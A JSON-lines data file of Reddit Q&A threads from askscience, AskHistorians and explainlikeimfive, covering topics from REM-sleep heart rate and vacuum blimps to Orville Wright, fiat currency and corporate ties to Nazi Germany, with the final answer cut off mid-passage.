{"q_id": "b2jws0", "title": "If someone is having a nightmare will his/her heart rate increase or be the same?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b2jws0/if_someone_is_having_a_nightmare_will_hisher/", "answers": {"a_id": ["eiu4759"], "score": [4], "text": ["It's not necessarily the dream (or the nightmare). Your heart rate and blood pressure increase during REM sleep. This can be quite a significant increase compared to non-REM sleep. During non-REM sleep, your heart rate and blood pressure drop below your awake baseline (assuming no other health problems). During REM sleep, your heart rate and blood pressure can increase above that awake baseline.\n\nIf you're a person who fixates on this sort of thing or is very sensitive to heart rate changes and you are woken up in REM sleep, that anxiety can also increase your heart rate.\n\nNight terror is different from nightmares. It's a sleep disorder people experience in non-REM sleep, usually in the first hour of sleep. Major symptoms of night terror include increased heart rate, blood pressure, body temperature, brain activity, etc. However, another feature of night terror is that people don't remember what caused the feelings of fear.\n\nPeople with sleep apnea can experience heart rate and blood pressure spikes that may be misattributed to a dream. Sleep apnea basically means that you aren't breathing properly, which your body treats as an emergency and responds to as such."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13992h", "title": "Is there any viable link between music and race relations?", "selftext": "Mentioned by my lecturer today but after doing a bit of reading it all just seems a bit coincidental and less like a real contributing factor.\n\nWas wondering more about America and the African-American community, but if you have any examples from any country/culture, would love to hear them, too.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13992h/is_there_any_viable_link_between_music_and_race/", "answers": {"a_id": ["c71zeh8", "c724xq7", "c727jwu"], "score": [3, 2, 2], "text": ["Try the Cultural Anthropology subreddit - they would probably have a better answer than any of us.", "Read some Lawrence W. Levine.  His research on slave songs / jazz music answers your question.\n\nThe Unpredictable Past is a collection he put together of his work.  You will gain a new appreciation of African-American contributions to American society as a whole after reading it.  ", "Probably a little more of a link than you might expect. It's almost certainly not the case that music actively aided the Civil Rights Movement, but it was a very important tool of cultural expression. Protest songs were regularly sung on marches to keep up morale and rally the group. Martin Luther King's \"I Have A Dream\" speech ends in a quote from an old \"Negro spiritual\". Singers such as Paul Robeson and Harry Belafonge were able to bring the protest to a wider audience and use their considerable earnings to finance action. Singers were also able to present a less offensively stereotyped version of blackness to audiences in the states. \n\nSo it wasn't so much a case of music being a weapon in the civil rights arsenal as much as it was an integral part of African-American life and was thus mobilised in several guises to contribute to the CRM."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3tpm0g", "title": "this \"til\" post where a man shot in the frontal lobe was unable to ever sleep again but still remained functional", "selftext": "[Article in question](_URL_0_)\n\nIs it possible for something like this to happen? I thought the sleep deprivation symptoms started after just a week or so.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tpm0g/eli5_this_til_post_where_a_man_shot_in_the/", "answers": {"a_id": ["cx84bgy", "cx84iw7", "cx8dwpa", "cx8k9ib", "cx8l406", "cx8of2d"], "score": [67, 44, 2, 2, 2, 3], "text": ["I have serious questions about the legitimacy of this article. Just as there are commonly repeated urban legends today, there were plenty of them back in the day.\n\nThe newspaper article lists two people Paul Kern, the man that went without sleep after a gunshoot wound, and Dr Frey.\n\nI can find no other records of Paul Kern or this life outside of the article you linked. Other articles talk about him, but they all use that old newspaper article as a source. Additionally I cannot find any information on Dr Frey or any of his research into the matter. Most likely this was an old hoax that was perpetuated because it was an interesting story. \n\n", "This is a myth. There is a disease that cuases people to be unable to sleep, and that is a lethal disease. (_URL_0_) No amount of tampering with the frontal lobes could prevent lack of sleep from killing you. \nSo that is medically impossible, and therefore, the case must be a hoax. ", "Fake? Hungary would be a convenient country for it:  not many Americans had been there and very few spoke the language, so very little chance anyone would call them out on a lie. If a stray Hungarian protested, no one would care.", "A while back I brought this up to my uncle who did some sleep research, and he said the current scientific understanding is that you will die if you go without sleep for too long. If a guy like this really existed, surely sleep scientists would know about it and investigate it. It's almost certainly some urban legend a newspaper printed.", "The very simple answer is \"no.\" I work with clients every day that suffer from a large number of different side effects of mental illness, and sometimes, depending on the illness, insomnia is one of them. We work under the general rule of 3s when deciding immediate danger: 3 minutes without air, 3 days without liquid, 3 weeks without food/sleep. Of course there are exceptions and of course there are a lot of things that play into the length of time, but it's a pretty consistent generalization. There are only a handful of studies that actively show the effects of sleep deprivation, and only a few tests on animals that proved fatal (where we get the 3 weeks). Rats lasted right up to 3 weeks before death, and humans have gotten to 17-19 days before hallucinations and exhaustion overcome them. ", "I remember from my AP psychology class, not too long ago, all about the different functions of the brain and its lobes. Frontal lobes are for decision making and logical thinking. The area of the brain that controls sleep (the cycles if you want to get technical) is specifically the \"pons\", which is located below the Occipital lobe. Back of the head, on top of the brain stem. \n\nIf this guy suddenly couldn't think straight, or conversely was able to solve higher level logic puzzles, that I would believe. BUT, if he was shot from the front, and the bullet happened to travel to the pons, thats a lot of brain matter thats in the way (corpus collosum, hypothalamus, hippocampus, brain stem, etc.) for his symptoms to occur. \n\nIs it impossible? No. Just EXTREMELY unlikely."]}, "title_urls": [], "selftext_urls": ["http://trove.nla.gov.au/ndp/del/article/31059591"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Fatal_familial_insomnia"], [], [], [], []]}
{"q_id": "4d73a1", "title": "why are low quality usb type-c cables so dangerous compared to normal cheap usb cables?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4d73a1/eli5_why_are_low_quality_usb_typec_cables_so/", "answers": {"a_id": ["d1oawga"], "score": [11], "text": ["Usb-c allows a lot more power to flow through it than other specs. This is a big part of the attraction. It also makes it more dangerous. A shoddy water main is a bigger danger than a shoddy garden hose because when the first breaks you have a larger scale problem.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5gua9p", "title": "why is the poetic line: \"roses are red\" so prevalent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gua9p/eli5_why_is_the_poetic_line_roses_are_red_so/", "answers": {"a_id": ["dav78md", "davci1j"], "score": [21, 28], "text": ["Aside from the terrible poem that also points out that violets are blue, where have you seen this line?", "Well, I'm glad people \"researched\" this. \n\nIt started out as a poem or *nursery-rhyme* that was first published in  England in 1784. The original line is this:\n\n >  Roses are red,\nViolets are blue,\nSugar is sweet,\nAnd so are you.\n\n[Source (Wikipedia)](_URL_0_).\n\nWhat occurred is basically an amazing \"lyric\" so-to-say that was reused over and over and eventually evolved into a *meme* as sorts that people constantly use as a joke. It could be argued as the longest-running meme in history.\n\nHope that helps.\nEDIT: Grammar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Roses_Are_Red"]]}
{"q_id": "72rtwh", "title": "why is energy consumption so stagnant in the usa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72rtwh/eli5why_is_energy_consumption_so_stagnant_in_the/", "answers": {"a_id": ["dnkqjx9", "dnkqy3c"], "score": [2, 2], "text": ["Its not stagnant, its just not increasing as much as it did post ww2. Which given the proliferation of cheaper vehicles and home appliances isn't surprising.\n\nAnd why would solar and other renewables be a step back? Just because their production is lower doesn't mean it isn't capable of being higher, it just means its new and no one has built the infrastructure to the same levels yet.", "Newer just-about-everything are more energy efficient.   Machinery, manufacturing and business equipment, home appliances... houses themselves.  Transport, communications.   The biggest energy guzzlers from a growth standpoint I'd say is currency mining.   \n\nEnergy use stagnation doesn't mean economic stagnation any more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3fagi1", "title": "Did a precedent exist for the murder of Tiberius Gracchus by the Senate in 133BC?", "selftext": "Such killings weren't rare over the succeeding decades. The followers of Tiberius' brother Gaius died similarly, though the most famous example is the murder of Julius Caesar by Marcus Junius Brutus et al in 44BC.\n\nDid any precedent exist at the time of Tiberius' murder? \n\nTo what extent were the suspensions of law later occasionally directed by the Senate and which came to be referred to as *Senatus consultum ultimum* considered to be in the same tradition?\n\nDid the assassins that struck frequently from Caesar's time onwards and almost invariably after the death of Commodus ever refer to this senatorial habit?\n\n**Edit:** The earlier office of *dictator* has been brought up in a comment now deleted. I'll add my intended reply here seeing as it clarifies what I'm asking about:\n\nThe continuities between extraordinary Senate powers during the late Republican period and the office of *dictator* occasionally instituted earlier are definite. OTOH, from Wikipedia:\n\n > As soon as the Dictator was appointed, he became the chief executive and commander-in-chief of the Republic. The regular magistrates \u2013 with the exception of the Tribune of the Plebs \u2013 became subject to the higher imperium of the Dictator. They continued to discharge the duties of their various offices under the Dictator, but they were no longer independent officers and were obliged to obey his orders in every circumstance. Failure to do so could result in the dictator forcing the magistrate out of office.\n\n > The superiority of the Dictator's power to that of the consuls consisted chiefly of greater independence from the Senate, more extensive power of punishment without a trial by the people, and complete immunity from being held accountable for his actions. However, what gave the dictator such great control over Rome was his lack of a colleague to counter him. Unlike the Consuls, who were required to cooperate with the Senate, the Dictator could act on his own authority without the Senate, though the Dictator would usually act in unison with the Senate all the same. There was no appeal from the sentence of the Dictator (unless the dictator changed his mind), and accordingly the lictors bore the axes in the fasces before them, even in the city, as a symbol of their absolute power over the lives of the citizens.\n\n > The Dictator's imperium granted him the powers to rule by decree and to change any Roman law as he saw fit, and these changes lasted as long as the Dictator remained in power.\n\nCan you comment on the statement that \"*the regular magistrates \u2013 with the exception of the Tribune of the Plebs \u2013 became subject to the higher imperium of the Dictator*\"? Plebian Tribune was the position held by Tiberius Gracchus.\n\nCould a dictator be appointed without the consent of the popular assembly, or even in defiance of it? Or does the sole authority of the Senate distinguish *senatus consultum ultimum* from earlier dictatorships?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3fagi1/did_a_precedent_exist_for_the_murder_of_tiberius/", "answers": {"a_id": ["ctn1het"], "score": [22], "text": ["How odd you just happen to ask this question when only this morning I was reading about it in [The Rise of Rome](_URL_0_). According to Everitt, who gets to Gracchus' story about 70% into the book, the answer is no. The murder of Gracchus *was* the precedent that allowed for murder and violence to begin slowly pushing away peace and compromise in the politics of the Roman Republic.\n\nAs for your questions about what happened after, sorry, I haven't gotten to that part yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.goodreads.com/book/show/14287722-the-rise-of-rome"]]}
{"q_id": "9hnhxa", "title": "if a vacuum is the absence of matter does that mean that it would weigh less than matter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9hnhxa/eli5_if_a_vacuum_is_the_absence_of_matter_does/", "answers": {"a_id": ["e6da92c", "e6daavr", "e6dac40", "e6daeho", "e6daji5", "e6dasod", "e6dbdj0"], "score": [2, 17, 6, 4, 2, 4, 2], "text": ["Basically, vacuum is what we call it when there's nothing there. Nothing at all. If you had nothing at all inside of the blimp, it wouldn't float. It'd be a giant deflated balloon. ", "Your teacher is the dumb one in this instance. A blimp with a vacuum in it weighs less than one filled with air, the problem lies in containing the vacuum within something that doesn't weigh too much without having it implode.\n\nThe only reason why the blimps of today stays rigid is due to the pressure inside the balloon is higher than the pressure outside.\n\nSo theoretically if you were able to contain a vacuum inside some kind of tube that is able to withstand the pressure from the air around and still is light enough to weigh less than the air it dispenses would a vacuum blimp be able to fly.\n\nHope i explained well enough, otherwise just ask! ", "A blimp with an evacuated space (a hard balloon \"filled\" with vacuum) would indeed float. \n\nYour teacher is wrong. ", "You're right, a blimp \"filled\" with vacuum will weigh less than a blimp filled with helium or any other gas. The catch is that it would need a rigid hull to withstand the pressure of the air outside. So the vacuum blimp would weigh less than the same blimp would if filled with helium, but it would be heavier than a non-rigid gas-filled blimp can be.", "You are absolutely correct. Your physics teacher lacks basic understanding of physics, so I would doubt anything they tell you that's not in the textbooks (books can be wrong too, but they're checked by multiple people).", "\"then wouldn't a blimp with a vacuum in it float as well\"\n\nYes, as obviously nothing weighs less than air.  The problem though is that we don't know of any way of constructing a vacuum enclosure that would be lightweight enough to offset the \"no weight\" from the vacuum itself.\n\nA pressure difference of 1 atmosphere is not simple to maintain without heavy equipment.", "If you had two identical airtight containers, one filled with air and one that had all the air sucked out (vacuum), the container with air would weigh more if you measured it as it contains more mass. It wouldn't be much of a difference, but it would be there.\n\nWith buoyancy you're dealing with density, which is mass/volume. The problem with trying to stick an empty blimp underwater is that the water pushing on the exterior of the blimp would make the blimp take up only a small amount of space (small volume). If it had some gas in it, there would be pressure inside the blimp to push against the water, increasing volume while adding a relatively small amount of mass. \n\nTo be honest I'm not 100% on buoyancy laws, but I'm sure there's something about comparing an objects density to the fluid it's in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "3ynzy7", "title": "Orville Wright died January 30, 1948 , after 2 world wars involving planes. What was his opinion, if any, in their involvement in warfare?", "selftext": "Orville Wright died January 30, 1948 , after 2 world wars involving plains. What was his opinion, if any, in their involvement in warfare?\n\n\nIs there any quotes or documents involving his opinion on the matter in existence?\n\nDid he have an opinion one way or another about allies and enemy nations using such creations?\n\nDid he have anything to say about the mid 1945 nuclear bombings?\n\nWhat about pearl harbour, a national tragedy, did he feel responsible for or related to such events?\n\n\ndid he ever hear about, and have an opinion on, rockets and jet engines, like the ones used by the Germans?\n\n\nBasically any insight into his thoughts and mental state during the military evolution of air travel would be great.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ynzy7/orville_wright_died_january_30_1948_after_2_world/", "answers": {"a_id": ["cyf3lbt", "cyfal7s", "cyfj3sj", "cyfxile"], "score": [2626, 68, 51, 6], "text": ["Orville in later life was a CEO/businessman in the airplane industry (his company _URL_0_ is still in business technically). They manufactured all sorts of military aircraft and engines, including the P-36 fighter, so he certainly does not appear adverse to aerial warfare. \n\nHe had this specifically to say, which may answer some of your questions directly:\n\n >  \"We dared to hope we had invented something that would bring lasting peace to the earth. But we were wrong....No, I don't have any regrets about my part in the invention of the airplane, though no one could deplore more than I do the destruction it has caused. I feel about the airplane much the same as I do in regard to fire. That is I regret all the terrible damage caused by fire, but I think it is good for the human race that someone discovered how to start fires and that we have learned how to put fire to thousands of important uses.\"\n\nAfter the war his company failed to transition into effective jet aircraft development, and lost most contracts and business. The company had been good at upgrades and improvements, but lagged in R & D regarding new frames and jet propulsion. \n\nHe was a statesman, and sat on various aeronautic committees and boards officially, including the NACA which later became NASA, and other organizations tied to the aeronautic industry and piloting. \n\n\nWe do have a lot of his letters and correspondence that could likely deduce his personal opinions on rockets and nuclear bombs - ill leave this to someone else.\n", "Any idea about how his brother, Wilbur, felt? I understand they brought somewhat different perspectives to their collaboration. ", "If there are any Brazilian historians, perhaps they can shed light on Santos-Dumont who committed suicide in 1932, in part due to knowing his invention was being used in warfare. ", "Wow, a question I somewhat have an answer to.\n\nOrville did an interview with Ohio's Dayton Journal Herald in late 1943, where he discussed his thoughts on aviation at the time.\n\nIt's a very short interview, so I won't go and completely summarize the piece, but he basically sounded very excited about the future of aviation and about the rapid technological acceleration that the industry had undergone.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Curtiss-Wright"], [], [], ["http://www.daytonhistorybooks.com/orville_wright_looks_ahea.html"]]}
{"q_id": "b1kfxv", "title": "Do historical texts have doodles in the borders? If so what kind of things were doodled?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b1kfxv/do_historical_texts_have_doodles_in_the_borders/", "answers": {"a_id": ["ein837m"], "score": [8], "text": ["You can check out [this post](_URL_0_) about medieval images of knights fighting snails that appear in the edges of manuscripts that monks wrote. /u/sunagainstgold wrote the following quote: \n\n\"... the thing about the snails is, they're not always deployed the same way. Sometimes you have a knight jousting a BIG snail, sometimes you have a yelling angry snail on its own, sometimes you have a knight jousting a little snail, sometimes you have other animals jousting on top of snails.\n\nWhere we see jousting snails and other miscellany like this is decorative borders and random illustrations in luxury manuscripts. I tend to think of them a little bit like the cartoons and random drawings in the New Yorker--little illuminations that don't illustrate the text. There's a couple decades in the 1300s, for example, where adding strawberries to borders suddenly became A Thing--and then it stopped.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/amp/s/amp.reddit.com/r/AskHistorians/comments/3tva6h/why_are_there_so_many_medieval_paintings_of/"]]}
{"q_id": "o83ux", "title": "leibnizian monads", "selftext": "How are they like building blocks of the universe? How are they meant to be different from atoms?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o83ux/eli5_leibnizian_monads/", "answers": {"a_id": ["c3f5ixv", "c3f73af", "c3f7asb"], "score": [5, 17, 2], "text": ["I immediately read the first word as lesbian. What is wrong with me.", "I don't think I can explain it to five year old. \n\nHere's the higher level explanation: unlike atoms, which are only physical entities, monads are little minds. Leibniz sees the universe as a collection of simple (indivisible) minds. The minds don't perceive each other by casually affecting each other (they are \"windowless\"), but rather by having all of their thoughts and perceptions sync up. So, if one monad is conscious of something, the others will have a corresponding thought or perception from a different perspective. The physical world is constructed out of the thoughts of all these little monads. Thus, Leibniz is an idealist, someone who believes that fundamental reality is mental.\n\nMy best 5 year old explanation: you know how a Lego building block looks different when you look at it from different places. Now most people think the block is made of the little pieces of plastic in the block, but Leibniz thinks it's made of all those different \"looks\". These \"looks\" belong to things he calls \"monads\" and he thinks there isn't anything else in the world besides these monads.", "Shypony is the best answer, but even that is pretty complicated.\n\nA sandcastle is made up of itty-bitty grains of sand.  Grains of sand, cars, dogs, and people are all made up of even small pieces called \"atoms\".  \"Atoms\" are too small to see, like the people in Horton Hears a Who.\n\nLiebnez thought that behind the physical world you can see and touch, which is made up of tiny atoms, there was a world of brains or \"monads\".  These brains are the \"core\" of everything material.  Some brains are awake, and others are asleep.  Each person has one tiny, itty-bitty monad which is the core of who they are.\n\nLiebnez wrote in German, so I don't know whether my arm has a single monad, or is made up of many, many, sleeping monads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "keg5g", "title": "what are the advantages and disadvantages of a fiat currency vs. one backed by specie?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/keg5g/eli5_what_are_the_advantages_and_disadvantages_of/", "answers": {"a_id": ["c2jmomc", "c2jmomc"], "score": [12, 12], "text": ["With a fiat currency, a government can deliberately create some inflation, which is a *good* thing.\n\nThe first thing you need to understand is that deflation is much, much worse than inflation.  Inflation encourages people to spend their money before it falls in value.  That causes people to do *more* business.  Deflation encourages people to hold onto their money while it rises in value.  That encourages people to do *less* business.\n\n* Inflation: business speeds up\n* Deflation: business slows down\n\nIf too much deflation systematically causes everyone to postpone their business, then the entire economy shuts down cold.\n\nTrue, inflation causes problems of its own.  It can encourage people to spend too fast, which is not ideal.  Inflation also forces people to renegotiate their wages all the time, which workers hate to do.  Those things are real problems.  But deflation, which causes the entire economy to grind to a dead stop is much, much worse.  Compare the inflation of the 1970's to the deflation of the great depression: it's just no comparison in terms of devastation.\n\nBecause deflation is so much worse than inflation, it pays to keep the scales tilted slightly toward the inflationary side.  That's why you always hear the fed setting \"inflation targets.\"  It's not because they couldn't get zero inflation if they wanted.  It's just that they don't dare tread so close to the precipice of deflation.\n\nWith a backed currency, deflation happens naturally and spontaneously.  Let's say there's a shortage of new gold mines for a while, so the gold in circulation stays roughly steady, but the population keeps rising as usual.  That would mean, for a while, a gradually decreasing amount of gold per person.  That would force the value of gold to rise.  That's deflation.  With a backed currency, deflation just happens from time to time.\n\nIf you had a fiat currency, the government could compensate for this by saying \"oh, the population's risen by 10% this year, let's print 10% more money.\"  That would keep the value of money steady.  In fact, if they're smart, they'll print 12% more money, to keep that scale tilted just a little away from the catastrophe of deflation.  But with a backed currency, the government can't make adjustments like this.  If deflation happens, there's not a thing they can do.\n\nFinally: I mentioned that inflation can encourage people to spend their money more quickly.  That can be a very valuable tool in a depressed economy.  Using a mild prod (like 5% inflation) to get people to stop sitting on cash can very much help to get things going again.  With a fiat currency, the government can deliberately create that.  With a backed currency, that tool is not available.\n\nOh, and get off the drugs.\n\n\n", "With a fiat currency, a government can deliberately create some inflation, which is a *good* thing.\n\nThe first thing you need to understand is that deflation is much, much worse than inflation.  Inflation encourages people to spend their money before it falls in value.  That causes people to do *more* business.  Deflation encourages people to hold onto their money while it rises in value.  That encourages people to do *less* business.\n\n* Inflation: business speeds up\n* Deflation: business slows down\n\nIf too much deflation systematically causes everyone to postpone their business, then the entire economy shuts down cold.\n\nTrue, inflation causes problems of its own.  It can encourage people to spend too fast, which is not ideal.  Inflation also forces people to renegotiate their wages all the time, which workers hate to do.  Those things are real problems.  But deflation, which causes the entire economy to grind to a dead stop is much, much worse.  Compare the inflation of the 1970's to the deflation of the great depression: it's just no comparison in terms of devastation.\n\nBecause deflation is so much worse than inflation, it pays to keep the scales tilted slightly toward the inflationary side.  That's why you always hear the fed setting \"inflation targets.\"  It's not because they couldn't get zero inflation if they wanted.  It's just that they don't dare tread so close to the precipice of deflation.\n\nWith a backed currency, deflation happens naturally and spontaneously.  Let's say there's a shortage of new gold mines for a while, so the gold in circulation stays roughly steady, but the population keeps rising as usual.  That would mean, for a while, a gradually decreasing amount of gold per person.  That would force the value of gold to rise.  That's deflation.  With a backed currency, deflation just happens from time to time.\n\nIf you had a fiat currency, the government could compensate for this by saying \"oh, the population's risen by 10% this year, let's print 10% more money.\"  That would keep the value of money steady.  In fact, if they're smart, they'll print 12% more money, to keep that scale tilted just a little away from the catastrophe of deflation.  But with a backed currency, the government can't make adjustments like this.  If deflation happens, there's not a thing they can do.\n\nFinally: I mentioned that inflation can encourage people to spend their money more quickly.  That can be a very valuable tool in a depressed economy.  Using a mild prod (like 5% inflation) to get people to stop sitting on cash can very much help to get things going again.  With a fiat currency, the government can deliberately create that.  With a backed currency, that tool is not available.\n\nOh, and get off the drugs.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1dmxdj", "title": "why aren't the jerseys in american sports leagues (nhl, nfl, nba) covered in company logos when you can barely see the team colours here in europe?", "selftext": "It's so nice to watch American sports when you're used to team jerseys looking like a patchwork of ads here in Europe! Why is this? It feels like it should be the other way around since america seems to be able to cram in ads most other ways.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dmxdj/eli5_why_arent_the_jerseys_in_american_sports/", "answers": {"a_id": ["c9rujgf", "c9rulci", "c9ruzvw", "c9rveln", "c9rvqf7", "c9rvyfb", "c9rvyz8", "c9rw8ri", "c9rwd5c", "c9rwxq7", "c9rx183", "c9rxbg9", "c9rxbzo", "c9rxe3y", "c9ry0io", "c9ry3vf", "c9rya1m", "c9s04vh", "c9s0emv", "c9s0vkr", "c9s1ceo", "c9s2vaz", "c9s3dh0", "c9s4dt2", "c9s6173", "c9sa5sj", "c9sahej"], "score": [113, 1216, 56, 53, 143, 42, 262, 2, 2, 13, 5, 7, 2, 3, 7, 4, 3, 3, 8, 2, 2, 6, 3, 2, 4, 2, 2], "text": ["It's precisely because America is able to cram in ads most other ways.", "One small factor at least for soccer is the way the games are broadcast. Soccer has two undisturbed 45 minute halves and one halftime. This means that there are only commercial opportunities at halftime and halftime commercial spots are generally assumed to be viewed less. Thus they need to make more visibility for their sponsors by using logos on the jerseys. The big three American sports are littered with commercial breaks so this problem doesn't arise ", "MLS (Major League Soccer) does plaster their jersey's in advertisements.\n\nI think it's stupid. As far as I can tell, Seattle's mascot is the Xbox.", "Because American sports have a 2 minute commercial break after every 40 seconds of play.", "Nascar is covered with ads, and some people consider it a sport", "Freakonomics Radio covered this one: [Freakonomics Podcast](_URL_0_)  \n  \nIn a nutshell, they say it's because of tradition and people wouldn't like it. But they go on to say that people would definitely get over it if ads were put on the jerseys.  They also mention how it might not generate any extra money, since companies might choose to have ads on the jerseys, rather than running a commercial.  \nEDIT: Clarification.", "The team jerseys ARE the ads. Big league sports is big business, and the types of \"officially licensed\" NFL/NBA/NHL merchandise that teams sell is ridiculous. Not only do a vast majority of fans attend games dressed in team colors but they also come in gear ranging from logo t-shirts to official team jerseys costing hundreds of dollars, then there's jackets, hats, gloves, for the home there are slippers, hair ties, pens, license plate holders, toasters that will toast your team's logo into your bread, grill irons with which you can brand your team's logo into your steak, etc.\n\nPlus TBH I don't know what it is like in soccer, but American sports skipped the step of ads on the jerseys and went straight to naming rights for entire venues. So every time millions of people tune in to see their favorite football team in Pittsburgh, they hear \"Heinz\" over and over again, same thing for \"Quicken Loans\" for any basketball game, concert, or other event at the arena in Cleveland, etc. Then there's college football, which, in addition to having all the merchandising opportunities listed above, has gone to corporate sponsors renaming some of the key playoff games (Rose Bowl, Orange Bowl, etc.) at the end of the season, as well as their football stadiums and basketball arenas (feel free to correct me on this b/c I know jack squat about college football). With all that plus the air time purchased during games, I can't see where a logo on a jersey would be a drop in the bucket.", "Sports jerseys are big bucks over here. Fans buy them and wear them, so chances are that if it's plastered with logos, (like Nascar jackets), most people won't buy them. ", "Nascar, mls, wnba all do it. I see no correlation between them, though.", "Because it's the last part of American society that hasn't already been covered in ads.", "There are only two sponsors on british kits. ", "Ever seen NASCAR? \n\nOne of the most 'Merican sports of all?\n\nIt's like watching billboards going around in circles on a race track.", "Or why NASCAR need a commercial break.", "The Freakonomics guys did a whole podcast on this question.\n\n_URL_0_", "What a weird observation to make. The only sport where I see this as being disruptive to the uniform is European hockey, for the rest there is absolutely no case of \"barely seeing the team colours\". And in every single other aspect of the game and its broadcast there is many many times more advertisements happening on the American sports than with the European ones.", "Barely visible? I don't know what teams you're watching mate.", "If you watch a mostly uninterrupted sport like NASCAR and the like, the cars are covered in ads AND commercials play during caution flags, stops, and the like, but they just do a picture-in-picture with the race in the corner.  \n\nIf you want the *full* impact of why we don't require advertising patchwork jerseys, watch the big time NCAA football games.  TV breaks and halftime length are insane.  As someone who enjoys college-level football more than the NFL, this makes me a very sad panda.", "For so long I was confident that Barcelona was actually called UNICEF. ", "I think it has to do with the fact that in soccer there aren't breaks until halftime so you can't cram in as many advertisements. If you take a look at MLS jerseys, they all have their own sponsors on them (VW, xbox, red bull, etc.) whereas NFL, MLB, NBA, and NHL do not.\n\nI'm not sure about how certain sports work with jerseys, but I know for the NFL, their uniforms are done strictly by Nike (formerly done by Reebok iirc) and so the uniforms therefore only promote Nike, the NFL, and the team itself. All are so monstrous that they don't need individual advertisements on their jerseys; advertising the NFL is more than enough because the revenue from commercials is ridiculous.\n\nThat's my opinion, anyway.", "Have you seen NASCAR? It's all over their suits and cars ", "I always thought that Man U was nicknamed AIG.", "They make up for it by going for an advertising break every 5 minutes instead.", "In America we ask the same question in reverse.", "We have TV timeouts. Soccer has very few commercials because it's played straight through.", "The only American sports I know of are Baseball and Killing Communists.\n\nBut as an American who plays hurling, it is interesting watching a game and seeing not only the players covered in logos but also the field.  I always wondered why America hasn't adopted the style of painting logos on the field that makes it look correct but you know that it is elongated on the field itself.", "The corporate logos are printed on the souls of American althetes.", "tv spots are the biggest reason.  soccer generally doesn't break for ads until the half.  all the major sports in the US have tv timeouts and intermissions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.freakonomics.com/2010/10/29/freakonomics-radio-the-nfls-best-real-estate-isnt-for-sale-yet/"], [], [], [], [], [], [], [], ["http://www.freakonomics.com/2010/10/29/freakonomics-radio-the-nfls-best-real-estate-isnt-for-sale-yet/"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "73i6y3", "title": "Did American companies and banks really help to aid the Nazis during WW2?", "selftext": "I just watched all of Oliver Stone's Untold History of the United States. I'm well aware it's not 100% accurate, but, it's a fantastic series to just to get some thoughts going. \n\nDuring the WW2 episode he mentioned how companies like IBM and Ford directly aided the Nazis. It even mentioned the Bush family managed bank accounts for Nazis. Chase and The Bank of International Settlement and many more also were mentioned. If this is all true:\n1.) What the hell?\n2.) Why wasn't I taught any of this in school?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/73i6y3/did_american_companies_and_banks_really_help_to/", "answers": {"a_id": ["dnqogdw"], "score": [12], "text": ["Modified from [an earlier answer of mine](_URL_0_)\n\nThe relationship of industrial capital and the Third Reich is one that is highly complex and the nature of international business adds a further layer of complexity. In 1920s, American companies saw Germany as a plum market by virtue of its large population and high degree of industrialization. This led to large-scale investment in German industries and subsidiaries opened up. Opel, for example, was established with the help of GM as a parent company in 1928. These international relationships continued after the advent of Hitler in 1933, but were often freighted with new political meaning that altered the relationship. \n\nHitler's drive for rearmament caused some alarm among German industrial circles. Although support for the Weimar Republic was very shallow among these types, they were hardly enthusiastic fans of the new order. Many German industrialists resented state interference in the running of the factory floor and while more than a few welcomed the Third Reich's anti-labor laws, they also became packaged together with NSDAP organs like the *Deutsche Arbeitsfront* which was a sinecure for NSDAP cronies. On the extreme end of opposition, Hugo Junkers, head of one of the most prominent aviation companies of the interwar period and a firm believer in the peaceful use of airpower, was put under house arrest and the state forced him to surrender his patents and shares in the Junkers firm. Most German industrial leaders sought a cooperative relationship with the Nazi state, but the example of Junkers was a chilling one for those that thought of resistance. It made a degree of business sense for managers to patronize the new order rather than resist it. Wilhelm von Opel, the chairman of Opel, spent lavish amounts on gifts to NSDAP elites and became the chief sponsor of the National Socialist Motor League. American-owned companies or their subsidiaries often had to deal with this new reality, but it was still an incredibly complex picture. The Third Reich encouraged the cartelization of the German economy, which already was one of the most centralized in Europe prior to 1933, and American multinationals had to operate in this environment. Opel, for example, had to comply with the 1936 Schell Program, which streamlined German automobile production making it more suitable for military use, but Ford's Cologne plant was exempt from these restrictions. In contrast to Ford, IBM lost 